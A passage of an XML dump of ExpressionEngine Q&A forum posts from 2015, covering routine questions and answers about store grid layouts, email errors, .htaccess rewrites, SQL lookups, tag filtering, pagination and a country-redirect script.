&#xA;}&#xA;&#xA;.span_2_of_4 {&#xA;    width: 49.2%; &#xA;}&#xA;&#xA;.span_1_of_4 {&#xA;    width: 23.8%; &#xA;}&#xA;&#xA;&#xA;/*  GO FULL WIDTH AT LESS THAN 480 PIXELS */&#xA;&#xA;@media only screen and (max-width: 480px) {&#xA;    .span_4_of_4 {&#xA;        width: 100%; &#xA;    }&#xA;    .span_3_of_4 {&#xA;        width: 100%; &#xA;    }&#xA;    .span_2_of_4 {&#xA;        width: 100%; &#xA;    }&#xA;    .span_1_of_4 {&#xA;        width: 100%; &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the code on the page for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search orderby=&quot;category&quot; sort=&quot;asc&quot;}&#xA;{exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;{if count %  4 == 1}&#xA;&amp;lt;div class=&quot;section group&quot; reveal-fx=&quot;RevealFX17&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;div class=&quot;col span_1_of_4&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{url_title_path='shoppe/product'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;img class=&quot;imgsm&quot; src=&quot;{product_image}&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;{if on_sale}&#xA;&amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt;&#xA;{price}&#xA;&amp;lt;span class=&quot;label label-success&quot;&amp;gt;Save {you_save} ({you_save_percent}%)&amp;lt;/span&amp;gt;&#xA;{if:else}&#xA;{price}&#xA;{/if}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;a href=&quot;{url_title_path='shoppe/product'}&quot; class=&quot;btn&quot;&amp;gt;Info/Purchase&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{if count %  4 == 0 || count == total_results}&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&#xA;{/exp:store:product}&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried adding a linear conditional, changing the image sizes, removing the RevealFX, re-arranging the code, etc. None of this changes the fact that the page (found &lt;a href=&quot;http://www.thymecher.com/index.php/Oct_2015/shop_pages&quot; rel=&quot;nofollow&quot;&gt;HERE&lt;/a&gt;) is displaying them stacked down the page instead of in rows of 4 products per row, which is what I'm going for. As far as I can see, there's no conflicting CSS, as it would render on the category page I created, so I'm stumped for sure. Advice appreciated! :) Thanks folks!&lt;/p&gt;&#xA;" OwnerUserId="6513" LastActivityDate="2015-10-13T16:19:46.483" Title="Aligning Products in Row using grid layout" Tags="|expresso-store|layouts|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34380" PostTypeId="1" CreationDate="2015-10-13T17:22:12.567" Score="0" ViewCount="1269" Body="&lt;p&gt;I all of a sudden cannot email in EE.  When sending through Firemail I get a million errors like the following. EE 2.9.3 and FireMail 1.9.3.  Was working earlier, can't image why this would happen all of a sudden   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Notice&#xA;&#xA;Message: fwrite() [function.fwrite]: send of 11 bytes failed with errno=32 Broken pipe&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 2073&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/user/public_html/home/admin/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 446&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2020-01-08T00:02:15.460" Title="Email errors Broken pipe" Tags="|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34381" PostTypeId="2" ParentId="34370" CreationDate="2015-10-13T18:20:33.040" Score="1" Body="&lt;p&gt;Yes you can, but you would need to look up the channel name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the {exp:channel_images:images} tag you will see a variable {image:channel_id}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be used to look up the channel name with a simple query if you wish or write a simple switch yourself for the numbers.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-10-13T18:20:33.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34383" PostTypeId="2" ParentId="34008" CreationDate="2015-10-13T18:35:23.430" Score="0" Body="&lt;p&gt;You can try the following .htaccess rules (&lt;strong&gt;tested&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /agent-profile/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /agent-profile/index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the following code to your index.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  header(&quot;HTTP/1.0 200&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6750" LastEditorUserId="1875" LastEditDate="2019-08-14T23:08:45.420" LastActivityDate="2019-08-14T23:08:45.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="34385" PostTypeId="2" ParentId="34363" CreationDate="2015-10-13T20:36:08.567" Score="2" Body="&lt;p&gt;Something like &lt;code&gt;status=&quot;not fakestatus&quot;&lt;/code&gt; will work.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="343" LastEditDate="2015-10-13T20:53:24.700" LastActivityDate="2015-10-13T20:53:24.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34386" PostTypeId="1" CreationDate="2015-10-13T21:22:45.477" Score="0" ViewCount="51" Body="&lt;p&gt;I would like to create a list of entries that have NOT been tagged by with a specific tag group. Does anyone have an idea how to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6754" LastActivityDate="2016-06-11T23:18:14.927" Title="Solspace Tag List of Entries" Tags="|solspace|solspace-tag|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34387" PostTypeId="2" ParentId="34386" CreationDate="2015-10-13T21:39:26.730" Score="0" Body="&lt;p&gt;Hrmm, with ExpresionEngine native &lt;code&gt;entries&lt;/code&gt; tag, you can use the word &lt;code&gt;not&lt;/code&gt; to indicate what you don't want to see. It's possible Solspace reused this logic. Have you tried adding this parameter to your tag?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tag_group_name=&quot;not groupyoudontwant&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-13T21:39:26.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34388" PostTypeId="2" ParentId="34368" CreationDate="2015-10-14T05:21:17.520" Score="2" Body="&lt;p&gt;This is because Calendar uses ExpressionEngine's built in jQuery UI bundle to build the mini calendar popup. You will probably have to use some combination of the two with jQuery's noConflict method: &lt;a href=&quot;http://api.jquery.com/jQuery.noConflict/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/jQuery.noConflict/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-10-14T05:21:17.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34389" PostTypeId="1" CreationDate="2015-10-14T06:21:41.287" Score="0" ViewCount="86" Body="&lt;p&gt;Does anybody know if there is a way / script that will allow for example my gallery pages to display in a lazy load (continuous scroll) style?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="6755" LastActivityDate="2016-06-05T18:57:30.240" Title="Overriding page pagination" Tags="|pagination|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34390" PostTypeId="1" CreationDate="2015-10-14T07:32:28.887" Score="0" ViewCount="35" Body="&lt;p&gt;I need to display a list of authors that have posted in a specific channel, sorted by number of posts in that channel. I've got this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT screen_name, total_entries, member_id FROM exp_members ORDER BY total_entries DESC&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        {screen_name} ({total_entries})&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but that counts entries across all channels, not a specific one. Can't seem to find any plugins to help with this, so guessing it's going to be a more complex query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks loads for any help!&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2015-12-18T10:52:40.833" Title="List authors by number of posts in specific channel" Tags="|ee2|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34392" PostTypeId="2" ParentId="34389" CreationDate="2015-10-14T08:29:54.303" Score="0" Body="&lt;p&gt;Not tried these myself, but they state they resolve the exact thing you're asking for...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this &lt;a href=&quot;https://devot-ee.com/add-ons/infinite-scroll&quot; rel=&quot;nofollow&quot;&gt;Infinite Scroll add-on&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or this one &lt;a href=&quot;https://devot-ee.com/add-ons/ajax-pagination-lsv&quot; rel=&quot;nofollow&quot;&gt;Ajax Pagination&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-10-14T08:29:54.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34393" PostTypeId="1" AcceptedAnswerId="35634" CreationDate="2015-10-14T10:41:11.440" Score="1" ViewCount="178" Body="&lt;p&gt;When I go to upload a new image from my computer I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined function EllisLab\ExpressionEngine\Library\Mime\finfo_open() in /home/cre8sub/public_html/westleigh/system/EllisLab/ExpressionEngine/Library/Mime/MimeType.php on line 117&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something I need to change in the MimeType.php file? or is there another problem? or is it because I am on the free version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6748" LastEditorUserId="3579" LastEditDate="2015-10-14T12:55:52.543" LastActivityDate="2016-05-28T23:13:25.000" Title="Keep getting a &quot;Fatal error&quot; when trying to upload an image" Tags="|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34394" PostTypeId="1" CreationDate="2015-10-14T11:25:26.173" Score="0" ViewCount="170" Body="&lt;p&gt;I have three sites working in EE using MSM and I am using subscription addon of &lt;a href=&quot;http://www.devdemon.com/documentation/subscriptions/#installing-and-updating-subscriptions&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/documentation/subscriptions/#installing-and-updating-subscriptions&lt;/a&gt; I have created two templates group &lt;code&gt;subs&lt;/code&gt; and &lt;code&gt;subs_emails&lt;/code&gt; as described on this link now this two are showing in Template synchronization but how to synchronize them as described on website &lt;a href=&quot;http://www.devdemon.com/documentation/subscriptions/#installing-and-updating-subscriptions&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/documentation/subscriptions/#installing-and-updating-subscriptions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2016-05-28T06:08:28.697" Title="How to synchronize Template in Expression engine" Tags="|php|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34395" PostTypeId="2" ParentId="34325" CreationDate="2015-10-14T15:18:01.880" Score="1" Body="&lt;p&gt;In what context is this an issue?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;js.src = &quot;{your_tag}&quot;.replace(&quot;&amp;amp;amp;&quot;, &quot;&amp;amp;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(whoa, they updated the guide theme)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/typography/index.html#id2&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/typography/index.html#id2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could probably write your own specific extension that hits the &lt;code&gt;typography_parse_type_end&lt;/code&gt; hook and simply modifies those ampersand replacements back in. This would take control away from the user; but honestly there is certainly no security risk in the JS version, but to take control of the parser's typography and allow ampersands back in could put you in precarious positions. There is a reason it gets parsed out.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-18T16:05:03.657" LastActivityDate="2015-10-18T16:05:03.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34396" PostTypeId="1" CreationDate="2015-10-14T16:01:48.960" Score="0" ViewCount="538" Body="&lt;p&gt;On my website I am displaying a country specific icon for the visitor. I'm doing this by setting a data-country variable in the head of the html document and loading a javascript file that sets the local storage value once when the homepage is visited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to run the geo.js script once as it can be a performance hit, so I included the conditional, if the first segment is empty then load the geo.js file. But if the users first visit to the site is anywhere other than the homepage the geo.js file is not loaded and the country code is not selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head {if segment_1 == ''}data-country=&quot;&amp;lt;?php $country_code = $_SERVER[&quot;HTTP_CF_IPCOUNTRY&quot;]; echo $country_code; ?&amp;gt;&quot;&amp;gt;&#xA;{if segment_1 == ''}&#xA;  &amp;lt;script src=&quot;{cdn_url}{exp:setversion path='/js/geo.js'}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the contents of the geo.js file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var countrySet = localStorage.getItem('country');&#xA;&#xA;if(countrySet !== null &amp;amp;&amp;amp; countrySet == 'UK') {&#xA; window.location='http://website.com/uk'; &#xA;}&#xA;&#xA;// If country is not stored, get it from the &amp;lt;head&amp;gt; element &#xA;&#xA;if(countrySet === null) {&#xA;var country = document.getElementsByTagName(&quot;head&quot;)[0].getAttribute(&quot;data-country&quot;);&#xA;&#xA;&#xA;// Store country&#xA;&#xA;localStorage.setItem('country', country);&#xA; if(country == 'UK') window.location='http://website.com/uk';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to load the geo.js script only once per site wide visit? Right now if I take away the conditional the script runs on each page load. &lt;/p&gt;&#xA;" OwnerUserId="6482" LastActivityDate="2017-10-06T10:18:34.470" Title="loading country code selection javascript file once per site visit" Tags="|php|javascript|segments|html|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34397" PostTypeId="2" ParentId="34389" CreationDate="2015-10-14T18:35:25.220" Score="0" Body="&lt;p&gt;Create an non-hidden template, let's say &lt;code&gt;pages/list&lt;/code&gt;, for your list of entries and set &lt;code&gt;paginate=&quot;hidden&quot;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot; paginate=&quot;hidden&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/pagination.html#paginate&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;hidden: The navigation text and links will not appear, but your entries will be paginated. (This is useful for things like JSON.)&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On the first page, call it as an &lt;code&gt;embed&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;pages/list&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On your JS, keep calling it and increasing the pagination offset on the same amount used on the &lt;code&gt;limit&lt;/code&gt; parameter: &lt;code&gt;/pages/list/P10&lt;/code&gt;, &lt;code&gt;/pages/list/P20&lt;/code&gt;, &lt;code&gt;/pages/list/P30&lt;/code&gt;, etc, etc...&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-10-14T21:19:40.720" LastActivityDate="2015-10-14T21:19:40.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34398" PostTypeId="1" AcceptedAnswerId="34400" CreationDate="2015-10-14T22:13:17.237" Score="0" ViewCount="37" Body="&lt;p&gt;How would I go about using the SQL manager to find out which extensions use a specific hook?  I can't find any documentation or query examples on this... &lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="276" LastEditDate="2015-10-14T23:33:14.177" LastActivityDate="2015-10-14T23:33:14.177" Title="How to use the SQL Manager to find which extensions use a certain hook?" Tags="|hook|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34399" PostTypeId="2" ParentId="34398" CreationDate="2015-10-14T22:21:45.353" Score="1" Body="&lt;p&gt;look in the exp_extensions table.  you should find everything you need there&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-10-14T22:21:45.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34400" PostTypeId="2" ParentId="34398" CreationDate="2015-10-14T22:27:47.660" Score="1" Body="&lt;p&gt;Use this query...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM exp_extensions WHERE hook = 'hook_youre_looking_for';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;class&lt;/code&gt; column will indicate what Extension it belongs to, and the &lt;code&gt;method&lt;/code&gt; column will tell you what method (function) to look at in that PHP class.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-14T22:27:47.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34401" PostTypeId="2" ParentId="34394" CreationDate="2015-10-14T23:49:13.620" Score="0" Body="&lt;p&gt;You will need to move the files over from &lt;code&gt;/system/expressionengine/third_party/subs/templates&lt;/code&gt; over to whatever template you are using to house template as files. For example in my case I would be moving them to &lt;code&gt;/../templates/default_site&lt;/code&gt; as I store my templates above webroot in a folder called templates. I have never used the Subscriptions module but make sure the folders in question have .group at the end &lt;code&gt;subs.group&lt;/code&gt; &amp;amp; &lt;code&gt;subs_emails.group&lt;/code&gt;. After you have done that you will go to Design &gt; Templates &gt; Template Synchronization and select the folders in question and click Submit.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-10-14T23:49:13.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34402" PostTypeId="2" ParentId="34386" CreationDate="2015-10-15T05:29:45.487" Score="0" Body="&lt;p&gt;One way to do this, though not very practical if you have a lot of entries (for performance reasons), would be to add a Tag:Tags template tag into a Channel:Entries loop. Then set it to search for a specific Tag group ID/name, and have a no_results conditional in there. So your code would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;news&quot; limit=&quot;500&quot;}&#xA;    {exp:tag:tags&#xA;        entry_id=&quot;{entry_id}&quot;&#xA;        tag_group_name=&quot;whatever&quot;&#xA;    }&#xA;        {if no_tag_results}&#xA;            &amp;lt;li&amp;gt;&#xA;                {title}:&#xA;                Message saying it doesn't have tags from this tag group and/or link to add some&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/exp:tag:tags}&#xA;{exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-10-15T05:29:45.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34403" PostTypeId="2" ParentId="34396" CreationDate="2015-10-15T05:32:48.773" Score="1" Body="&lt;p&gt;Use this &lt;a href=&quot;https://devot-ee.com/add-ons/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;Session add-on&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add to your head (on every page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:session_variables:get name=&quot;js_deployed&quot;}&quot; != &quot;yes&quot;}&#xA;    &amp;lt;script src=&quot;{cdn_url}{exp:setversion path='/js/geo.js'}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    {exp:session_variables:set name=&quot;js_deployed&quot; value=&quot;yes&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As this will be on every page, your Javascript code would need to be updated to take them to the relevant (equivalant) page, not assume the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For country identification you might want to consider doing it server side with any one of these &lt;a href=&quot;https://devot-ee.com/search/results?keywords=detect%20country&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;selection of add-ons&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be very careful on how you handle this though, automatically redirecting someone is bad UX, as you're assuming they didn't want to go to their original destination (which may well have come from a search listing). You can get into 404 problems when you don't have the same page available in all languages. Even worse, if you ignore their original destination and force them to the homepage on language change. A typical scenario is I'm on holiday, I speak language X, I'm in location Y, you force location Y's language on me and I wanted to see langauge X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another more fundamental issue is SEO - imagine in your example you referenced &quot;US&quot; not &quot;UK&quot;, every time the JS Googlebot (US based) visited your website and tried to access pages in any other languge they would be forced to the US version, thus they would never be able to index and explore the other languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution is to not assume, present the user with a message on screen and ask them - they're the ones that will know what they want - not you!&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-10-15T05:47:54.610" LastActivityDate="2015-10-15T05:47:54.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34404" PostTypeId="1" AcceptedAnswerId="34405" CreationDate="2015-10-15T09:29:09.290" Score="0" ViewCount="43" Body="&lt;p&gt;I have just installed EE V3 and have created a channel called &quot;homepage&quot;. I have gone to create a new entry fro this channel and it comes up with the &quot;Title&quot; and &quot;URL Title&quot; but not the text editor for the body content? See screenshot below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lGspG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lGspG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if i need to enable anything or install a add-on for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look forward to hearing your thoughts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Jordan&lt;/p&gt;&#xA;" OwnerUserId="6748" LastActivityDate="2015-10-15T12:03:11.903" Title="Not showing the &quot;Body&quot; content area when creating a new entry" Tags="|error|publish-layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34405" PostTypeId="2" ParentId="34404" CreationDate="2015-10-15T11:43:19.933" Score="1" Body="&lt;p&gt;Well, EE 3 has been out for only about a hot minute, but if I'm not mistaken, the core architecture of EE channels hasn't changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you created a &lt;strong&gt;field group&lt;/strong&gt;, and added &lt;strong&gt;fields&lt;/strong&gt; to it, and then assigned that &lt;strong&gt;field group&lt;/strong&gt; to your channel? If not, EE will only use (be default) its two standard, required fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/channel/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/channel/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/channel/fields/groups/form.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/channel/fields/groups/form.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-15T12:03:11.903" LastActivityDate="2015-10-15T12:03:11.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34406" PostTypeId="1" CreationDate="2015-10-15T12:04:07.010" Score="0" ViewCount="93" Body="&lt;p&gt;Am using Low Seg2Cat. Great utility. But having problems now using it with categories in a second category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For categories in the initial category group it works fine.&#xA;For categories in the second category group I created it generates no responses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The behavior can be tested on a url generated by this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Segment 3 - {segment_3}&amp;lt;br /&amp;gt;&#xA;Segment 3 Group ID - {segment_3_category_group_id}&amp;lt;br /&amp;gt;&#xA;Segment 3 Category Name - {segment_3_category_name}&amp;lt;br /&amp;gt;&#xA;Segment 3 Description - {segment_3_category_description}&amp;lt;br /&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;category source information&amp;lt;/h2&amp;gt; &#xA;&#xA;{exp:channel:categories}&#xA;    &amp;lt;a href=&quot;/pages/_categorytest/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt; (Category ID/url: {category_id}/{category_url_title})&#xA;    {if category_description}{category_description}{/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my dataset, categories 1-10 are in Group 1, Categories 11 and up are in Group 2.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a URL generated by the above code for a category in the first group:&#xA;&lt;a href=&quot;http://2gc.eu/pages/_categorytest/presentations&quot; rel=&quot;nofollow&quot;&gt;http://2gc.eu/pages/_categorytest/presentations&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a URL generated by the above code for a category in the second group:&#xA;&lt;a href=&quot;http://2gc.eu/pages/_categorytest/balanced-scorecard&quot; rel=&quot;nofollow&quot;&gt;http://2gc.eu/pages/_categorytest/balanced-scorecard&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see that the Low Seg2Cat tags generate no data for the second example, even though there is data available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening?  I'm sure I'm doing something silly - but documentation for Low Seg2Cat implies that if you don't specify Group-ID in the tag parameters, the results are for all categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grateful for whatever guidance you can offer on this.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6060" LastEditorUserId="172" LastEditDate="2015-10-15T14:01:23.940" LastActivityDate="2016-05-20T14:53:49.903" Title="Low Seg2Cat not working with category groups" Tags="|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34407" PostTypeId="2" ParentId="34406" CreationDate="2015-10-15T12:14:52.590" Score="0" Body="&lt;p&gt;Speedy response from Low - in case useful to anyone else - I had forgotten to add second group to the Low Seg2Cat CP settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did this and all worked sensibly again :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Low! &lt;/p&gt;&#xA;" OwnerUserId="6060" LastEditorUserId="172" LastEditDate="2015-10-15T14:01:44.533" LastActivityDate="2015-10-15T14:01:44.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
